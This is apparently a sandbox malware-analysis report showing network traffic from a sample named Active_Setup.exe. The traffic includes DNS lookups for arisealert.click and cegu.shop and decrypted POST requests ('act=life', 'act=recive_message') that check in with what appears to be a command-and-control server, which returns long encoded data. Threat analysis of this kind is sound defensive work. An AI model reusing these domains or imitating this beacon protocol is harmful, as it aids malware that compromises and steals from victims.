Dec 31, 2024 17:11:36.880299091 CET	443	49767	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:36.888802052 CET	49767	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:36.888889074 CET	49767	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:36.888927937 CET	443	49767	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:39.898257971 CET	443	49767	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:39.898359060 CET	443	49767	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:39.898430109 CET	49767	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:39.898591042 CET	49767	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:39.898613930 CET	443	49767	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:40.022063971 CET	49793	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:40.022114992 CET	443	49793	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:40.022222996 CET	49793	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:40.022521019 CET	49793	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:40.022532940 CET	443	49793	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:40.476726055 CET	443	49793	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:40.476792097 CET	49793	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:40.478101969 CET	49793	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:40.478112936 CET	443	49793	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:40.478351116 CET	443	49793	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:40.479732990 CET	49793	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:40.479815006 CET	49793	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:40.479821920 CET	443	49793	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:40.917305946 CET	443	49793	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:40.917402983 CET	443	49793	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:40.917536974 CET	49793	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:40.917697906 CET	49793	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:40.917716026 CET	443	49793	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:41.889101028 CET	49805	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:41.889152050 CET	443	49805	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:41.889283895 CET	49805	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:41.889713049 CET	49805	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:41.889723063 CET	443	49805	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:42.356863976 CET	443	49805	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:42.356946945 CET	49805	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:42.358144045 CET	49805	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:42.358155012 CET	443	49805	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:42.358442068 CET	443	49805	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:42.360761881 CET	49805	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:42.361443043 CET	49805	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:42.361475945 CET	443	49805	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:42.361576080 CET	49805	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:42.361607075 CET	443	49805	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:42.361716032 CET	49805	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:42.361757040 CET	443	49805	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:42.362790108 CET	49805	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:42.362827063 CET	443	49805	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:42.368592978 CET	49805	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:42.368638039 CET	443	49805	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:42.371479034 CET	49805	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:42.371526957 CET	443	49805	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:42.371542931 CET	49805	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:42.371551991 CET	443	49805	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:42.371716976 CET	49805	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:42.371747971 CET	443	49805	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:42.371769905 CET	49805	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:42.374501944 CET	49805	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:42.374540091 CET	49805	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:42.376410961 CET	443	49805	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:42.380459070 CET	49805	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:42.380497932 CET	443	49805	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:42.380538940 CET	49805	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:42.380557060 CET	443	49805	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:42.380593061 CET	49805	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:42.380611897 CET	443	49805	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:44.858186007 CET	443	49805	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:44.858280897 CET	443	49805	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:44.858346939 CET	49805	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:44.861012936 CET	49805	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:44.861056089 CET	443	49805	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:44.869227886 CET	49826	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:44.869317055 CET	443	49826	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:44.869415998 CET	49826	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:44.869678020 CET	49826	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:44.869709015 CET	443	49826	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:45.335047007 CET	443	49826	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:45.335160017 CET	49826	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:45.336421013 CET	49826	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:45.336447954 CET	443	49826	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:45.336707115 CET	443	49826	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:45.337887049 CET	49826	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:45.337929964 CET	49826	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:45.337954998 CET	443	49826	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:45.808779955 CET	443	49826	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:45.808873892 CET	443	49826	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:45.808944941 CET	49826	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:45.809140921 CET	49826	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:45.809175968 CET	443	49826	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:45.809194088 CET	49826	443	192.168.2.7	104.21.52.90
Dec 31, 2024 17:11:45.809201002 CET	443	49826	104.21.52.90	192.168.2.7
Dec 31, 2024 17:11:45.867497921 CET	49832	443	192.168.2.7	185.161.251.21
Dec 31, 2024 17:11:45.867552996 CET	443	49832	185.161.251.21	192.168.2.7
Dec 31, 2024 17:11:45.867656946 CET	49832	443	192.168.2.7	185.161.251.21
Dec 31, 2024 17:11:45.868189096 CET	49832	443	192.168.2.7	185.161.251.21
Dec 31, 2024 17:11:45.868206978 CET	443	49832	185.161.251.21	192.168.2.7
Dec 31, 2024 17:11:46.587004900 CET	443	49832	185.161.251.21	192.168.2.7
Dec 31, 2024 17:11:46.587111950 CET	49832	443	192.168.2.7	185.161.251.21
Dec 31, 2024 17:11:46.593751907 CET	49832	443	192.168.2.7	185.161.251.21
Dec 31, 2024 17:11:46.593770981 CET	443	49832	185.161.251.21	192.168.2.7
Dec 31, 2024 17:11:46.594006062 CET	443	49832	185.161.251.21	192.168.2.7
Dec 31, 2024 17:11:46.595141888 CET	49832	443	192.168.2.7	185.161.251.21
Dec 31, 2024 17:11:46.635332108 CET	443	49832	185.161.251.21	192.168.2.7
Dec 31, 2024 17:11:46.850604057 CET	443	49832	185.161.251.21	192.168.2.7
Dec 31, 2024 17:11:46.850666046 CET	443	49832	185.161.251.21	192.168.2.7
Dec 31, 2024 17:11:46.850706100 CET	49832	443	192.168.2.7	185.161.251.21
Dec 31, 2024 17:11:46.850867987 CET	49832	443	192.168.2.7	185.161.251.21
Dec 31, 2024 17:11:46.850883007 CET	443	49832	185.161.251.21	192.168.2.7
Dec 31, 2024 17:11:46.850898981 CET	49832	443	192.168.2.7	185.161.251.21
Dec 31, 2024 17:11:46.850903034 CET	443	49832	185.161.251.21	192.168.2.7
Dec 31, 2024 17:11:48.296766996 CET	59641	53	192.168.2.7	162.159.36.2
Dec 31, 2024 17:11:48.301661015 CET	53	59641	162.159.36.2	192.168.2.7
Dec 31, 2024 17:11:48.301736116 CET	59641	53	192.168.2.7	162.159.36.2
Dec 31, 2024 17:11:48.306679010 CET	53	59641	162.159.36.2	192.168.2.7
Dec 31, 2024 17:11:48.748074055 CET	59641	53	192.168.2.7	162.159.36.2
Dec 31, 2024 17:11:48.753298044 CET	53	59641	162.159.36.2	192.168.2.7
Dec 31, 2024 17:11:48.753355026 CET	59641	53	192.168.2.7	162.159.36.2

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 31, 2024 17:11:27.102585077 CET	58940	53	192.168.2.7	1.1.1.1
Dec 31, 2024 17:11:27.115432978 CET	53	58940	1.1.1.1	192.168.2.7
Dec 31, 2024 17:11:45.812001944 CET	53564	53	192.168.2.7	1.1.1.1
Dec 31, 2024 17:11:45.866619110 CET	53	53564	1.1.1.1	192.168.2.7
Dec 31, 2024 17:11:48.296252966 CET	53	52543	162.159.36.2	192.168.2.7
Dec 31, 2024 17:11:48.771939993 CET	64798	53	192.168.2.7	1.1.1.1
Dec 31, 2024 17:11:48.779165030 CET	53	64798	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 31, 2024 17:11:27.102585077 CET	192.168.2.7	1.1.1.1	0x2a2b	Standard query (0)	arisealert.click	A (IP address)	IN (0x0001)	false
Dec 31, 2024 17:11:45.812001944 CET	192.168.2.7	1.1.1.1	0xac6c	Standard query (0)	cegu.shop	A (IP address)	IN (0x0001)	false
Dec 31, 2024 17:11:48.771939993 CET	192.168.2.7	1.1.1.1	0x2246	Standard query (0)	206.23.85.13.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 31, 2024 17:11:27.115432978 CET	1.1.1.1	192.168.2.7	0x2a2b	No error (0)	arisealert.click		104.21.52.90	A (IP address)	IN (0x0001)	false
Dec 31, 2024 17:11:27.115432978 CET	1.1.1.1	192.168.2.7	0x2a2b	No error (0)	arisealert.click		172.67.197.142	A (IP address)	IN (0x0001)	false
Dec 31, 2024 17:11:45.866619110 CET	1.1.1.1	192.168.2.7	0xac6c	No error (0)	cegu.shop		185.161.251.21	A (IP address)	IN (0x0001)	false
Dec 31, 2024 17:11:48.779165030 CET	1.1.1.1	192.168.2.7	0x2246	Name error (3)	206.23.85.13.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false

HTTP Request Dependency Graph

arisealert.click

cegu.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49700	104.21.52.90	443	7284	C:\Users\user\Desktop\Active_Setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 16:11:27 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: arisealert.click
2024-12-31 16:11:27 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-31 16:11:28 UTC	1123	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 16:11:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ac4e2gnreckphq8t51j0ntche2; expires=Sat, 26 Apr 2025 09:58:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dBS242Pb43gSRSxy%2Fsn05xU86Z7DNz9mn2aYvrOVqh4RekNO%2FjGPE2oBY0MZMc1ee30Qn%2FNrX7aslltvwFIYYXri8fjGKcV23JCu7QRJi8rVHqyk%2B4w3LTtS7a2sHzRBI8U7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fab8baa2e0dde9b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1877&min_rtt=1705&rtt_var=762&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2840&recv_bytes=907&delivery_rate=1712609&cwnd=192&unsent_bytes=0&cid=b566b18a45ce789b&ts=509&x=0"
2024-12-31 16:11:28 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-31 16:11:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49706	104.21.52.90	443	7284	C:\Users\user\Desktop\Active_Setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 16:11:28 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 78 Host: arisealert.click
2024-12-31 16:11:28 UTC	78	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 68 52 6a 7a 47 33 2d 2d 5a 49 4e 41 26 6a 3d 36 33 37 62 35 35 32 37 39 30 32 31 61 61 62 33 33 32 37 38 31 38 38 63 66 61 36 33 38 33 39 37 Data Ascii: act=recive_message&ver=4.0&lid=hRjzG3--ZINA&j=637b55279021aab33278188cfa638397
2024-12-31 16:11:29 UTC	1129	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 16:11:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jmpgavokkmivq7lv9okg1314e3; expires=Sat, 26 Apr 2025 09:58:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PSu%2FvcUmDCinDXcuMVMqBxaYAYQUnblNrGM3uXl3I6k5IDfMIBW4%2BmBc3pL%2FWC3YsJKJXrApiI28YmvvlV60fcyDa%2BCjKclJsBXuSZ%2F%2Fghp2Kh1qu%2Fg6KpGg43RxpeJ6JSAJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fab8bb01dfe0f89-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1555&min_rtt=1555&rtt_var=583&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2841&recv_bytes=978&delivery_rate=1877813&cwnd=235&unsent_bytes=0&cid=b9e932532db2471a&ts=477&x=0"
2024-12-31 16:11:29 UTC	240	IN	Data Raw: 31 63 63 34 0d 0a 36 75 5a 31 59 66 4d 68 6b 4b 33 59 43 2b 56 65 79 6c 44 53 58 67 35 53 67 54 72 57 39 47 53 42 37 4d 65 4f 2f 57 4c 57 54 47 36 52 78 41 4e 44 79 52 57 38 6a 36 74 75 78 32 53 2b 49 71 63 37 49 6e 44 67 58 76 54 4f 41 75 43 41 74 4f 76 52 51 4b 41 68 54 4e 43 41 46 41 32 41 52 4c 79 50 76 58 50 48 5a 4a 45 72 38 44 74 67 63 4c 73 59 73 35 34 47 34 49 43 6c 37 35 59 4e 70 69 41 4e 67 6f 6f 53 43 5a 5a 43 39 4d 79 30 5a 6f 41 37 72 7a 47 34 4d 47 63 2f 36 56 66 30 32 45 62 6b 6c 75 57 30 33 79 2b 7a 4f 41 2b 6e 68 77 59 4b 30 56 79 38 31 76 70 75 69 33 7a 77 63 72 4d 37 62 44 37 6e 58 72 32 63 44 4f 6d 49 70 4f 71 58 45 72 38 71 42 6f 4b 45 45 51 69 63 53 2b 44 42 76 6d 47 4c 50 61 55 78 38 48 Data Ascii: 1cc46uZ1YfMhkK3YC+VeylDSXg5SgTrW9GSB7MeO/WLWTG6RxANDyRW8j6tux2S+Iqc7InDgXvTOAuCAtOvRQKAhTNCAFA2ARLyPvXPHZJEr8DtgcLsYs54G4ICl75YNpiANgooSCZZC9My0ZoA7rzG4MGc/6Vf02EbkluW03y+zOA+nhwYK0Vy81vpui3zwcrM7bD7nXr2cDOmIpOqXEr8qBoKEEQicS+DBvmGLPaUx8H
2024-12-31 16:11:29 UTC	1369	IN	Data Raw: 49 73 4e 2f 73 59 37 4e 5a 56 30 59 32 30 2f 59 6f 4e 70 43 68 4d 6c 38 6f 4f 51 35 5a 50 73 70 66 36 59 59 73 79 72 54 47 2f 4f 32 30 77 38 56 65 30 6c 51 37 72 69 71 2f 6a 6b 41 2b 36 4a 41 75 41 6a 52 41 4d 6c 6b 76 30 77 4c 6b 70 79 58 79 76 4b 76 42 6b 4c 42 44 7a 57 37 65 43 43 2f 4c 4f 75 71 4b 47 51 4c 4d 69 54 4e 44 45 45 51 32 51 54 76 4c 64 73 6d 4b 4d 4f 62 6f 35 75 54 46 68 4d 4f 35 53 75 35 55 47 35 49 53 76 34 35 55 45 75 53 4d 4b 69 49 52 58 54 64 46 45 36 6f 2f 69 4b 61 51 35 75 44 57 38 4b 69 34 4b 6f 30 66 36 6a 30 62 6b 67 75 57 30 33 77 69 78 4c 51 2b 44 69 78 51 4c 6d 6c 48 79 33 62 78 6b 67 69 36 75 4e 37 34 32 62 79 4c 70 56 72 4b 56 44 2b 69 48 6f 4f 75 62 51 50 70 75 43 35 44 45 54 30 4f 77 54 76 6e 44 73 48 36 48 66 4c 64 38 71 Data Ascii: IsN/sY7NZV0Y20/YoNpChMl8oOQ5ZPspf6YYsyrTG/O20w8Ve0lQ7riq/jkA+6JAuAjRAMlkv0wLkpyXyvKvBkLBDzW7eCC/LOuqKGQLMiTNDEEQ2QTvLdsmKMObo5uTFhMO5Su5UG5ISv45UEuSMKiIRXTdFE6o/iKaQ5uDW8Ki4Ko0f6j0bkguW03wixLQ+DixQLmlHy3bxkgi6uN742byLpVrKVD+iHoOubQPpuC5DET0OwTvnDsH6HfLd8q
2024-12-31 16:11:29 UTC	1369	IN	Data Raw: 76 55 72 4b 5a 43 2b 2f 4f 36 36 79 59 47 50 52 32 54 4b 4b 48 41 77 43 62 41 63 66 4d 74 47 65 41 4b 75 67 74 2f 69 55 73 4e 2b 38 59 37 4e 59 4c 34 6f 61 6a 2f 70 41 4e 74 79 41 43 68 34 45 59 43 35 46 44 2f 38 71 2b 59 6f 77 2f 70 54 61 69 4e 6d 77 34 35 6c 6d 2b 6e 45 61 74 7a 71 4c 30 33 31 6a 30 48 78 75 44 78 69 49 41 6e 30 33 31 32 66 70 32 79 53 58 6f 4e 62 78 38 4e 48 44 75 55 4c 47 54 43 65 4b 45 71 2b 6d 56 44 4c 77 67 44 35 71 4c 45 77 4f 64 53 2f 6a 43 74 47 32 50 4e 61 4d 35 74 6a 78 74 4f 71 4d 57 39 4a 45 65 6f 39 62 6c 32 4a 67 4d 75 53 46 4f 76 59 63 5a 44 5a 5a 56 73 74 44 30 63 4d 63 37 70 48 4c 6f 66 47 41 35 34 31 4f 2b 6b 67 62 6b 67 36 44 76 6d 41 4f 35 4b 51 61 47 67 78 4d 50 6d 45 37 30 7a 37 31 74 67 69 36 74 4f 37 77 77 4c 48 Data Ascii: vUrKZC+/O66yYGPR2TKKHAwCbAcfMtGeAKugt/iUsN+8Y7NYL4oaj/pANtyACh4EYC5FD/8q+Yow/pTaiNmw45lm+nEatzqL031j0HxuDxiIAn0312fp2ySXoNbx8NHDuULGTCeKEq+mVDLwgD5qLEwOdS/jCtG2PNaM5tjxtOqMW9JEeo9bl2JgMuSFOvYcZDZZVstD0cMc7pHLofGA541O+kgbkg6DvmAO5KQaGgxMPmE70z71tgi6tO7wwLH
2024-12-31 16:11:29 UTC	1369	IN	Data Raw: 69 55 6a 36 7a 71 4c 67 33 31 6a 30 4a 77 57 61 69 68 6b 4b 6e 45 58 36 79 4c 52 6b 6a 44 71 6a 4e 62 63 36 59 54 6a 75 58 62 65 58 41 75 6d 63 70 75 65 56 44 62 35 75 51 73 69 44 44 30 50 4a 41 39 58 44 6b 33 6d 63 4c 72 35 79 72 33 4a 31 63 4f 52 55 39 4d 35 47 34 49 47 73 34 35 63 49 75 79 45 49 68 6f 49 52 44 70 52 4d 2b 4e 32 79 5a 34 6f 33 70 7a 6d 69 50 47 45 30 37 31 79 38 6e 51 79 6a 77 4f 58 72 68 30 44 73 62 6a 6d 46 69 78 63 41 68 77 50 74 67 61 4d 70 67 44 44 6f 61 76 41 77 59 6a 44 73 56 4c 69 64 44 75 4b 43 71 2b 75 61 43 62 77 6d 48 6f 6d 41 48 77 4b 66 54 50 50 4c 76 32 79 44 4f 36 77 30 76 33 77 69 63 4f 52 41 39 4d 35 47 7a 4b 6d 51 72 72 34 36 39 44 46 43 6b 63 51 51 44 39 45 62 73 73 4f 35 5a 59 38 7a 72 6a 75 38 4e 6d 55 37 37 31 4f Data Ascii: iUj6zqLg31j0JwWaihkKnEX6yLRkjDqjNbc6YTjuXbeXAumcpueVDb5uQsiDD0PJA9XDk3mcLr5yr3J1cORU9M5G4IGs45cIuyEIhoIRDpRM+N2yZ4o3pzmiPGE071y8nQyjwOXrh0DsbjmFixcAhwPtgaMpgDDoavAwYjDsVLidDuKCq+uaCbwmHomAHwKfTPPLv2yDO6w0v3wicORA9M5GzKmQrr469DFCkcQQD9EbssO5ZY8zrju8NmU771O
2024-12-31 16:11:29 UTC	1369	IN	Data Raw: 34 75 71 37 5a 34 47 70 69 6b 46 6d 6f 6f 61 44 4a 6c 4c 2b 38 36 2b 62 49 6f 36 70 44 69 78 4f 32 49 2b 36 78 6a 36 31 67 48 37 7a 76 32 73 76 68 43 76 50 42 71 46 70 52 6f 4d 30 56 79 38 31 76 70 75 69 33 7a 77 63 72 6b 75 61 44 33 78 55 62 4f 59 43 65 43 63 70 4f 47 55 45 72 4d 68 43 49 2b 49 45 51 79 58 51 76 66 46 74 6d 36 43 4e 36 63 2b 38 48 49 73 4e 2f 73 59 37 4e 59 6f 36 4a 32 79 37 35 45 4c 6f 6a 56 4d 6c 38 6f 4f 51 35 5a 50 73 70 66 36 61 6f 77 33 72 44 4b 38 50 47 67 39 34 30 71 37 6b 51 48 71 68 62 66 6d 6d 41 65 2f 4a 67 65 48 67 67 55 50 6e 31 48 33 33 61 67 70 79 58 79 76 4b 76 42 6b 4c 41 62 6b 53 4b 53 56 52 4e 4b 59 70 76 71 55 44 62 68 75 45 38 61 64 56 77 53 64 41 36 71 50 76 47 61 4f 50 36 63 7a 75 54 42 68 4e 65 70 64 74 5a 41 43 Data Ascii: 4uq7Z4GpikFmooaDJlL+86+bIo6pDixO2I+6xj61gH7zv2svhCvPBqFpRoM0Vy81vpui3zwcrkuaD3xUbOYCeCcpOGUErMhCI+IEQyXQvfFtm6CN6c+8HIsN/sY7NYo6J2y75ELojVMl8oOQ5ZPspf6aow3rDK8PGg940q7kQHqhbfmmAe/JgeHggUPn1H33agpyXyvKvBkLAbkSKSVRNKYpvqUDbhuE8adVwSdA6qPvGaOP6czuTBhNepdtZAC
2024-12-31 16:11:29 UTC	1369	IN	Data Raw: 2b 45 51 4b 74 67 46 63 69 44 47 30 50 4a 41 2f 48 49 75 57 69 4e 4e 61 51 39 74 7a 68 2b 4f 75 52 4b 74 5a 63 4e 37 6f 4b 6c 34 5a 49 4b 74 53 63 42 68 49 6b 51 42 4a 35 47 73 6f 48 36 62 70 39 38 38 48 4b 52 4d 57 63 38 75 41 4c 30 69 55 6a 36 7a 71 4c 67 33 31 6a 30 4c 67 61 4e 6a 68 6f 41 6e 6b 44 67 7a 72 78 37 68 7a 47 69 49 4c 6f 33 61 54 33 75 56 62 65 51 41 4f 69 43 74 2b 57 66 41 37 39 75 51 73 69 44 44 30 50 4a 41 39 48 59 72 47 4f 41 4d 4c 34 35 73 54 39 36 50 66 4d 59 2b 74 59 58 35 4a 2f 6c 74 49 6b 51 6f 79 6b 54 78 70 31 58 42 4a 30 44 71 6f 2b 38 59 49 45 37 72 6a 79 69 4f 57 6f 2f 37 46 47 39 6b 67 37 67 6a 71 48 6f 6d 41 57 33 49 67 65 50 68 78 67 48 6d 45 33 37 77 50 6f 6e 78 7a 75 77 63 75 68 38 54 53 76 67 56 4c 6e 57 47 61 32 58 35 Data Ascii: +EQKtgFciDG0PJA/HIuWiNNaQ9tzh+OuRKtZcN7oKl4ZIKtScBhIkQBJ5GsoH6bp988HKRMWc8uAL0iUj6zqLg31j0LgaNjhoAnkDgzrx7hzGiILo3aT3uVbeQAOiCt+WfA79uQsiDD0PJA9HYrGOAML45sT96PfMY+tYX5J/ltIkQoykTxp1XBJ0Dqo+8YIE7rjyiOWo/7FG9kg7gjqHomAW3IgePhxgHmE37wPonxzuwcuh8TSvgVLnWGa2X5
2024-12-31 16:11:29 UTC	287	IN	Data Raw: 7a 4e 6b 7a 51 78 44 63 49 68 30 62 31 32 66 68 63 68 44 4b 6d 4e 61 5a 38 63 77 2b 74 47 4c 58 57 58 74 71 58 35 66 72 66 57 4f 5a 67 54 4a 72 45 54 30 50 57 51 4f 44 64 76 47 71 52 50 2b 38 4d 6a 68 74 36 4f 75 52 49 73 34 45 4a 6f 38 44 6c 34 39 39 59 6a 57 34 46 6a 35 38 47 46 5a 78 54 39 59 2b 46 4a 38 63 6b 36 47 72 77 43 57 38 2b 37 56 2b 69 68 30 76 45 6d 4b 2f 72 6a 77 65 6a 49 55 7a 47 78 42 46 44 79 52 43 38 6a 37 35 34 78 32 54 34 59 4f 74 70 50 32 65 7a 43 71 76 59 48 36 4f 59 35 62 54 4e 54 76 51 38 54 4e 44 45 55 41 43 44 55 66 54 4d 72 47 72 41 41 70 59 56 71 6a 46 71 4a 2f 4a 6d 69 70 45 63 37 6f 69 79 2f 64 4d 56 74 79 41 43 6a 35 4a 58 54 64 46 4d 73 70 65 44 4b 63 39 38 6c 33 7a 77 4a 43 78 6f 6f 32 32 33 6d 41 6a 6b 6d 4c 53 68 75 42 Data Ascii: zNkzQxDcIh0b12fhchDKmNaZ8cw+tGLXWXtqX5frfWOZgTJrET0PWQODdvGqRP+8Mjht6OuRIs4EJo8Dl499YjW4Fj58GFZxT9Y+FJ8ck6GrwCW8+7V+ih0vEmK/rjwejIUzGxBFDyRC8j754x2T4YOtpP2ezCqvYH6OY5bTNTvQ8TNDEUACDUfTMrGrAApYVqjFqJ/JmipEc7oiy/dMVtyACj5JXTdFMspeDKc98l3zwJCxoo223mAjkmLShuB
